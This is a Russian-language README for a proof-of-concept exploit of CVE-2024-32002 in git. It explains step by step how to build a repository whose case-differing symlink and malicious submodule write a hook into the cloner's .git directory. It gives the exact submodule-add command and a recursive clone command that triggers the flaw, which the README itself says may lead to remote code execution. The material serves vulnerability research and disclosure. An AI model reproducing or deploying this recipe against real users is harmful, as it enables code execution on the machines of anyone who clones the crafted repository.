CVE-2024-32002 PRC AW
POC для CVE-2024-32002, демонстрирующий произвольную запись в каталог .git.
Смотрите cve-2024-32002-submodule-aw для соответствующего репозитория подмодуля.
Что содержит этот репозиторий
- Символическая ссылка с произвольным именем, указывающая на каталог
.git.
- Файл
.gitmodules, определяющий вредоносный подмодуль.
Как воссоздать этот репозиторий
Этот репозиторий был создан в Linux (точнее, в WSL2). Это важно: вредоносный репозиторий можно создать только в файловой системе, чувствительной к регистру.
- Создайте символическую ссылку, используя только строчные символы
Примечания:
- Символическая ссылка должна указывать на папку .git, так как именно туда мы хотим записывать файлы.
- Имя символической ссылки (submodule) произвольно, но должно начинаться со строчного символа.
- Это важно, потому что строчные символы сортируются раньше заглавных. Когда клонирующая машина запутается, куда записывать файлы подмодуля, мы хотим, чтобы она выбрала символическую ссылку, а не обычный каталог.
- Добавьте вредоносный подмодуль, обращая внимание на различие в регистре имени каталога подмодуля
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
Примечания:
- Имя подмодуля имеет значение: оно будет использоваться при размещении нашего хука в подмодуле.
- Первый сегмент пути подмодуля ("Submodule") должен совпадать с именем символической ссылки выше, отличаясь только регистром.
- В пути должен быть как минимум ещё один сегмент, поскольку git будет клонировать подмодули только в пустую директорию. Однако он создаст каталоги за нас, поэтому мы выбрали "notexists" для демонстрации.
Как запустить POC
- Проверьте, есть ли у вас уязвимая версия git. Ознакомьтесь с рекомендацией GitHub для затронутых версий.
- Подумайте, действительно ли вы хотите осознанно выполнить команду, которая может привести к RCE... Этот репозиторий безвреден, но вы уверены?
- Выполните следующую команду:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git
- Загляните в каталог .git. Видите что-то необычное? Подсказка: какие файлы находятся в подмодуле.